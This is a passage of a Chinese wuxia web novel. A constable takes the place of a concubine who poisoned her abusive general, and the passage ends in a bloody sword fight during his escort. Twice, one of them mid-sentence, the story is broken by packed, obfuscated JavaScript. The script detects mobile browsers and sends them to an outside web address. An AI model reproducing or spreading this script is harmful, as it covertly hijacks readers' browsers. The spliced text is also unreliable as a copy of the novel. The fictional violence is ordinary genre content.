什么钉什么锤?只怕又是什么内行人的问法,高悠悠在思索这是什么意思,郭暖律却是脸上罕见地微红了一片儿,然后瞬间压制下去所有不应出现的情绪,冷静地,无情地,随意地解释道:“他从前是个世家公子,如今正对我强取豪夺……” 高悠悠脸上雷击般僵折,而老乔的笑面上笑都扭在原地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092166|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郭暖律继续面无表情道:“但经过我的循循善诱,他已放下执念,改强占为纠缠,他这几天只是特别喜欢强抱我……” 高悠悠的脸已微搐如冰扎。可仍配合地伸出手,五根手指整整齐齐搭在了郭暖律的腰上,强行显出很有强占欲的姿态。 老乔看着这手,这动作,面上则在发一种贼亮透也贼扭曲的光。 郭暖律继续无情无绪道:“而经过我一番劝导,他不再强抱我,倒是很喜欢强行地贴在我身侧……” 高悠悠的脸搐得更加厉害且难以抑制,可奇迹的是——他的身子依旧是很配合地挪近了一点点,真的只是大拇指一点点那么多,剩下的几个指头的距离全都是郭暖律面无表情地自己贴过来的。 ……怎么会有人能没有任何表情地说这些话做这些事啊? 郭暖律只是淡声儿道:“这几天都缠着我与他去一座山,那山上全都是喜欢强取豪夺的惯犯……” 高悠悠眉头都开始直蹦青筋:“你这……” 郭暖律的声色如冷冰过泉:“不过他这人,和那些喜欢强取豪夺的人不同,还有的救,只是偶尔脑子不清楚,发起疯来在夜里会抱我抱得喘不过气,还绑着我不让我反抗,他染上了这么不良的癖好,却不肯承认……” 高悠悠狠狠且断然道:“够了!” 这种强取豪夺的人物本子也编得太复杂太扭曲了吧! 谁能演得出来?谁能演这形象? 你这样浓眉大眼的人是怎么想出这么老土的桥段的? 谁给你看了什么乱七八糟的话本? 高悠悠立刻横眉四顾,英眸乱扫,似乎想找出那个不认真学习还带坏了唯一优等生的差生唐约。 结果对方正不亦说乎地和各个百姓套近乎找情报呢,根本就不理他这边的,被瞅到了,也就做了个鬼脸,就继续和各种百姓唠嗑了,气得高悠悠想把对方揪过来狠狠地揍一顿。 而老乔被高悠悠这一吼加这一瞪吓得一个哆嗦,惊楞楞地看了看如天神一般暴怒的高悠悠,然后……然后又看了看没有任何情绪起伏的郭暖律,眼睛则发亮发光地问。 “那……那小哥你能不能接着讲下去?” 虽然听来很不道德很激烈,可是看你的样子似乎是在感化他,而且感化得还很不错啊……我很想知道后续啊! 郭暖律冷色道:“想知道后续的话,告诉我们封青衫为何在囚车里?百姓们为何围住他们?” 高悠悠缓了一口气,总算做正事儿了,这么扭曲的人物本,我怎么可能去真的演得出来? 那老乔叹了一口气,总算记起正事儿了,这么凄惨的时候我怎能忘了封捕头还在受难呢? 他说了出来。 把整件事事的原委。 彻彻底底地、毫无保留地一口气都说了出来。 只说得两个听众是同等震惊。 因为其中惨无人道的奸恶与清流光照的正道,其中可怖骇人的暴虐与无处不至的温存,其中难以消解的大局和难以忽视的小节,其中的血与肉与法纪与人情…… 也因为这整件事的起源,这一些差役所忌惮深恨的对象,这一群老百姓割舍不下的好捕头。 也就是封青衫他…… 他是自己走进这座囚车! 是他主动求着押解刑讯,及这惨无人道的折磨和羞辱的! 等老乔诉说到了他这么做的原因后,两个人几乎同时地不由自主地贴近了彼此一点,却都说不出一句话了。 因为这背后的原因委实太令过震惊。 太叫他们悲哀。 也太让他们愤怒了! 25.指与剑尖成花 原来陈将军中毒暴毙之后,那封青衫确实是一路追查着这毒的来源到了苗山寨附近。 一开始,大家见他是公门的人,且是捕快,且是名捕,一个个都怕得脸颤心抖。 怕他是来收苛税的,怕他是来抓壮丁的,怕他是来找借口逮人去给恶人富人顶罪的。 一个个都躲起来,不躲的也不肯去理他,还不许路过的其他乡民去睬他。 若是别的什么大捕头,大名人,遇到这么些奚落小视的乡野村民,早就暴跳如雷,把人或砍或杀或抓了。 因为,其他捕头都是这么做的啊。 丁寄春上次来时,就抓了一批老弱强行逼他们参军,清廷司的人上次来的时候,也抓了一批人,理由不是好好交税,可结果是为了给他们指定的犯人给顶罪。 那些人可都没回来。 可封青衫呢? 他的地位比这些捕快都高,实力比这些人都强。 他查清了当地人恐惧的根源,就雷厉风行一般地把一干恶役都给收拾了,免职的免职,判刑的判刑,关大牢的关大牢,还把能找到的活着的无辜寨民给放了出来。 然后,他又花了一个月,沉下心来深入苗山寨,到处帮人种田、施肥、栽树、浇花,看病、抓药。 任劳任怨,从无愤言。 慢慢地,当地人就开始有些相信他了。 这时他仿佛才记起自己来勉州是为了什么。 他查起了案。 原来这毒死陈将军的剧毒,确实是出自苗山寨。 原来这买毒人竟然就是陈将军的侍妾——姜琉! 姜琉,陈将军的第三个侍妾。 陈将军从不娶妻,只娶侍妾。 且多是秦楼楚馆里出来、温柔婉约性如莺转的女子。 并非是救风尘,而是越没背景的妾扶上来,越好容他——做些畜生不如、禽兽难比的事。 第一任的妾和他某日发生了口角。 被他不小心地摁进了一口铁锅里。 活活烫死,肉被分给了下属吃。 第二任的妾在他的宴会上多看了某些下属一眼。 被他第二日找到,寻个由头和下属一起处死了。 尸身都被剥了皮。 第三任的妾,也就是姜琉。 她和前两任曾是朋友,她也深知自己嫁给这将军一日,就离死近上一寸。 她知道。 所以她行动。 动手先毒死将军! 毒死了人,她仓皇逃出,受了苗山寨的寨主庇护。 而封青衫查来查去,找到了她。 她泪流满面地“噗通”一声儿跪下,颤抖地五体投地。 “请封捕头只带走我一个人,别追究这里用毒制毒的乡民们,也别连累到收留我的苏寨主!” 封青衫沉默着,点头答应,让她走进了那座囚车里。 本来,这案子是很受重视的。 陈将军毕竟是驻守一地的将军,虽说性格暴戾了些,可也有些战绩。 他一死,下面就派了封青衫,着当地的捕头配合他,还让本地的监察特使,清廷司的青袍员——何瑞之也陪着他,最后还请出一些当地的武林人士配合他。 捕头给了,官威也给了,打手也给了。 就等着他把人犯带回来。 可是,封青衫目送那女子进入囚车,每日的心却如刀尖滚动油锅煎炸一般。 明明是按着预期走。 明明是按着法规去。 可每个村民在他带走人犯的时候都在辱骂他。 先前感激他的人全都变了脸色在痛恨地讽他。 那些对他笑脸相迎的人也在同时地打他,扔他臭鸡蛋。 而更重要的是,他心底知道那个女子是无辜的。 陈将军本就该被绳之以法。 可偏偏因为军武身份,动他就成了动主战派,就成了朝里人人都想避忌的敏感问题,这人就这么嚣张下去,残杀了两个女子,又对第三个女子打骂掐踢,离动手虐杀也已不远了…… 可即便是这样,世人也只会看到以妾杀夫,只会看到平民百姓杀了官身将军,那姜娘子押回去以后,不凌迟,也得是腰斩。 这些他都知道。 都知道才痛苦。 痛苦的是他为什么在大局上是对的,可走的每一步每一节,都让他成了使受害者更可悲可欺,使这世上的恶人恶役更嚣张跋扈的工具? 于是,某一晚,封青衫靠近了囚车。 对着那可怜的姜琉说了句:“这不是你该待的地方。” 没吃好喝好的姜琉虚弱道:“大人是觉得我连囚车都不配坐,得下来被押送了么?” 封青衫却重复:“这不是你该待的地方。” 姜琉楞了,这才意识到情况有点不一样。 “那我该在哪里?” 封青衫一字一句、决然断然道:“可以是江南,可以是边境,哪里都可以,但绝对不是这里。” 那一刻的姜琉豁然抬头,不可置信地看向他。 “那你得在哪里?” 封青衫只说了一句话。 “你出来,我进去。” 他说这话时,语气姿态没半点更易,可山间吹过的风,却似一把叠一把的刀尖,将他全身的迂阔和迷茫一点点地剪、切、裁、撤,只剩下最初的原则,最纯的正义。 他立在囚车前,如一朵儿钢与铁锻作的树。 钢枝铁影下,英眉厉目前,庇众生、护贫弱。 姜琉惊看这一幕,几乎震撼得说不出一句话。 封青衫放了对方,帮她回到了苗山寨,让寨主带人跑。 然后他自己回去。 坐到了那囚车里。 丁捕快大怒。 何瑞之无奈。 放跑这样重犯本就是重罪! 封青衫知法犯法,更是罪上加罪,罪无可赦! 这样的罪责之下,出于谨慎起见,何瑞之道了声歉,然后让手下人,在封青衫身上点了七八处穴。 封青衫没有反抗。 丁捕头更是狠毒,给他上了沉百斤的枷。 封青衫没有怨言。 眼见他平日正义凛然,如今却是这样可欺、可压迫,就连丁捕头麾下的那些捕快、衙役,那些被封青衫教训过,打过,免了职的,此刻也动了心思。 一群人竟对他进行了殴打。 封青衫没有发出任何声音。 何瑞之赶紧阻止,令众人把他连囚车一路押回去。 然后,封青衫还是没任何声音。 他沉眉闭目,如与世隔绝。 只有那些寨中混居的苗汉百姓们得知真相,纷纷跟上来时,他才诧异地睁大了一双英亮的眼,让他们回去。 他们不回。 一直跟着。 怕一旦回去,这些捕快和官员就要对他进一步动手。 当那老乔讲说到了这里的时候,泪是止不住地流,最后竟然流了满面。 而高悠悠已彻底震然。 封青衫把自己装入囚车里,背后竟是这样的因由? 明明有机会逃,明明可以反抗这些粗鲁卑贱的小人。 他怎就不反抗呢? 以他的武功,本来完全可以不被点穴,不被上枷,不被这些人殴打和欺辱的…… 这是何苦? 又是何必! 高悠悠看向了那囚车里面目不清的人,只觉此刻此时,无论如何也看不清对方的心思和想法了。 他站如崖下松,能站是能站,可再不比之前想战,只因怒意潮退,迷茫泉涌,朝夕之间就吞星改月了。 郭暖律仿佛看出了他心内的星月变幻。 默默站在了对方身边。 良久,冷漠地说了句: “若一个人自己不想逃,没人救得了他。” 高悠悠瞪他一眼,这道理他何尝不明白? 可只有郭暖律说出,才能把这道理说得像从他心底摸出了一个早存放在那边的物件那般地自然。 高悠悠的眉如月下沉潭,目光沉沉道:“他怕自己一跑,官衙就会把精力都放在去追杀那姜娘子身上,而且,他本人也是不愿意成为逃犯的。” 郭暖律淡淡道:“你好像格外同情他。” “是因为自己也在门派承担了执法者的角色,还是因为……迂人和蠢人间总是互相吸引?” 高悠悠一愣,刚想讽回去,却见郭暖律转过头,冷眼凝视着眼前的一切乱景。 高悠悠忽就说不出话了。 也许是因为,他听到的对方心声变少了,有点不习惯。 又或是因为,他总感到对方忽然间变得有些远了。 好像对方心里那些激烈的情绪,无论是辛辣的部分还是兴奋的部分,都在变得淡薄和疏稠。 须知他只能听到情感强烈的心声。 一旦郭暖律的情绪淡了,他就什么都听不到。 只剩下令人不惯的沉默。 这时唐约忽的过来分享,得出的结论也差不多。 “封捕头确是自己留下。” 他又道:“我看他身上多是皮肉伤,且这里围着囚车的百姓这么多,想必他们不敢再加拳脚。” 高悠悠道:“你的意思是……” 唐约想了想,道:“我在想,如果这是封青衫自己的意思,要不我们就一路跟着,保证他安全,但是不出手?” “其实只要保证封捕头被顺利带回去,等到公门的其他名捕过来干预,自然有人给他求情。” “有人求情,他这罪责不就能减免了?” “免个职,罚个俸,大事化小不好吗?” 唐约小心翼翼地劝,郭暖律一心一意地冷漠盯凝。 而高悠悠也终于沉默。 常理而言,这确是最妥帖的方法。 公门与武林,本就是不同的体系。 用武林的法子去处理公门的事,说不清。 用公门的法子去处理武林的人,讲不明。 所以这两条道上的人。 即便拜相同的师,用同样的招。 其秉持的道统理则也是天差地别。 也许这确实是一个更适合封青衫的法子? 罪责能从大化小,确实比变成逃犯合算。 毕竟封青衫在公门做了多年名捕,总有人脉人情吧? 即便没有人脉,大家也不至于看着好人这么没了吧? 而这些卑劣恶心的小人酷吏,也不至于众目睽睽下对着封青衫再出手吧? 对吧?总得遮掩的吧? 高悠悠是这么想。 唐约也就这么想。 很多百姓都觉得这么想没任何错,一点也不错! 唯独是郭暖律。 他不带任何侥幸地,以一种冷寂清敏到看透人性的目光,看向前方那座囚车。 他看见囚车那边,那七个休息得差不多的带刀武人,其中一个站起身,打开了囚车,把封青衫拉了出来,貌似是要给他喂水吃饭时…… 忽把手一抖。 一大碗汤水就这么浇在封青衫的面上! 封青衫猝不及防,带重枷又无力躲闪,却被浇个正着! 高悠悠悚然一瞪,却被唐约拉住了手臂。 唐约也恼道:“你一出手就杀人致残,到时他的罪名加重,那这一路的隐忍和苦楚就白费了啊!” “所以你别出手,你让我去说。” 高悠悠迟疑间,唐约已先迈出一步。 “你们这样光天化日之下对他动刑,不怕我们寨间百姓一起去京城告御状吗?” 群起响应之下,那囚车旁的武人果然悻悻住手,不敢再多加造次。 那马上的青袍官何瑞之却赔了一笑:“大家消消气,这底下人手脚就是粗笨,还是本官来吧。” 说完翻身下马,去扶那踉跄的封青衫。 封青衫无力地道了声儿谢。 毕竟这个官没有下令折磨他,只是负责把他押解回去,他也没有去为难对方的必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097964|177768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要。 何瑞之也叹了口气,痛惜地看了看封青衫,去扶,去搀。 然后在扶在搀的瞬间。 从袖间急出四掌。 直接拍在了封青衫的胸口、肚腹、和下盘! 直拍得他滚倒在地,却正好滚到了何瑞之那金贵的靴子下面,正好让何瑞之不小心地、很抱歉地、踩在了这只曾经蕴过神功的这只手掌上。 何瑞之还无奈地,痛惜道:“封捕头怎摔倒了呢?本官……本官的手不稳,你这枷又重,我再扶你一把吧。” 在不知情的外人看来,只当封青衫真的是踉跄得受不住扶持而跌了下了,而那何大人还好声好气地去扶。 这可真是个好官啊! 只有封青衫自己知道,自己方才受了这催揉掌的掌力,全身颤搐得如在沸水上滚动的虾,一时间咽喉肿胀沸腾,竟一句都说不出。 他惨然一笑,以为自己这一次老实受囚就是尽忠于法,没想到如此不抵抗也落得这样下场,明明是钻心剜骨,被折辱用刑,在场却没一人看出,还以为何瑞之是对自己好。 可见如今……如今便是他的绝境了。 对方不会让他活下去。 不仅是因为他放过了罪犯,也因为何瑞之背后的清廷司——早就看他这等名捕不顺眼了。 于是封青衫运起最后一丝内功抵御,拼死也要示这警。 他张口就猛吐出一口鲜血来,把对方喷了个淋淋漓漓。 高悠悠眉眼一凛:“情况不对!” 却在这时听得“咔嚓”一声。 在场之人竟能听到了一声毛骨悚然的声音。 一种皮肉轻撕的脆声。 却不是封青衫被撕。 他诧异地瞪大红肿的眼睛,看向眼前的何瑞之——以及他背后的一把凌厉的软剑,那把上下穿梭的剑几乎在瞬间撕裂了那个给封青衫倒脸水的衙役的手腕、脚筋,然后它飘如水转,来到了何瑞之和封青衫的身前。 郭暖律的剑。 在日头下粼光闪烁、曲芒莹灿。 曲水剑。 何瑞之惊恐无比地看了看这把剑,这个人,随即在慌忙之中踩住封青衫的手,想把他提上来做人质,怒道:“你……你这……” 郭暖律冷漠道:“我知道你在踩他的手,我又不在乎。” 何瑞之张口就要大叫“来人”。 可就他张口一瞬,一把短剑如电彻雷摺一般直接搠入,刺入口腔,穿入咽喉,然后如抽屉开合一般从容退出,溅出一地淋漓滚烫的血。 封青衫惊呆地看向眼前的一切。 唐约也惊呆地看向这血腥的全无人性的剑。 郭暖律杀人时……怎么比杀手还毒辣凶险? 这……和他杀高悠悠的时候好像不太一样? 等等……高悠悠呢? 郭暖律一剑杀人,立刻低头避开后方扫来的一刀,起跃踢开刺他膝盖的一刀,然后一剑往后一个大仰,直接仰到把剑尖往后递入一个人的胸口! 这时又马上迎来了剩下四个武人的四把刀。 杀手柳七叶是七人。 就是这七个装饰一模一样的带刀武人。 可四把刀在当空劈下,却当日翻折,折射出一道猛烈的白光刺向郭暖律的双眸。 郭暖律闭上眼。 同时轻笑一声。 黑暗中就有一个人,一只手,在空中翻飞如翻书,折腕如折兰一般,折了一个杀手的手腕,翻了另一个杀手的腰肚,再把两把袭向郭暖律前方的钢刀子一捏。 转如花鬘抖擞,刀尖被高悠悠双掌扭送回去! 一把刀划入一咽喉,一把刀转入一胸口。 他拍拍手,倒掉了剩下的刀片。 像倒掉花片一般。 郭暖律睁开眼,看到的就是这杀伐到优美的一幕。 可这时却轻轻一笑。 直接回身倒转,竟一剑刺向了摇摇晃晃站起的封青衫! 封青衫震惊地看这一剑,用尽全力想躲却不及,连高悠悠也楞到不知究竟发生什么的时候。 那一剑越过了封青衫沉重的枷,越过了封青衫伤重的手,刺向了他背后的一个人! 那个人不得不出斧抵住! 却不料这剑一伸而折,直接诡异地向上穿刺,刺入了那人的咽喉! 那人惊楞无比地看着他。 郭暖律冷冷道:“‘莲花小判’商道莲,你原是清廷司的走狗,之前挑拨一群人袭杀高悠悠,如今潜伏到这一刻,还想杀了封青衫嫁祸给我们?” 说完,那一剑直接从咽喉一点翻挑而出! 商道莲失去生命的躯壳轰然倒地,鲜血无边无际地流淌而出,如残阳下的一抹泪痕在大地的面颊上流下。 而高悠悠这一刻,只瞳孔爆缩般看向了对方。 这样的剑。 这没有半点犹豫的穿喉剑。 这随直觉动却准到可怖的杀戮判断。 他忽有一种尖锐念头抵在心,厉然看向对方。 “你现在真的还中着我的无相指力么,郭暖律?” 郭暖律只是轻轻地回过头。 那冷凝无波的目光里,带了一丝不似人间的笑。 “你不知道?” “是因为我方才没有在想任何事么?” 高悠悠心头山震,震悟到一个尖锐的事实。 他从刚刚开始就没听到过对方一丝的心声。 不是因为对方情绪变淡。 而是对方从刚才到现在。 一直在刻意压制着在心里任何的想法! 郭暖律竟全程放下理智,靠山间野兽一般的本能在察觉、在杀戮,所以杀得出这么暴戾可怕的招,所以如野兽一般行蹿无止,且如今还能看向人,说这话。 高悠悠赫然抬头去看郭暖律。 目光倏忽一转。 如云巅崩乱雪,刀山倾覆间,他以一种怒涛狂浪般可吞杀三千小船的气势,去逼视着对方。 “你——都知道了什么!?”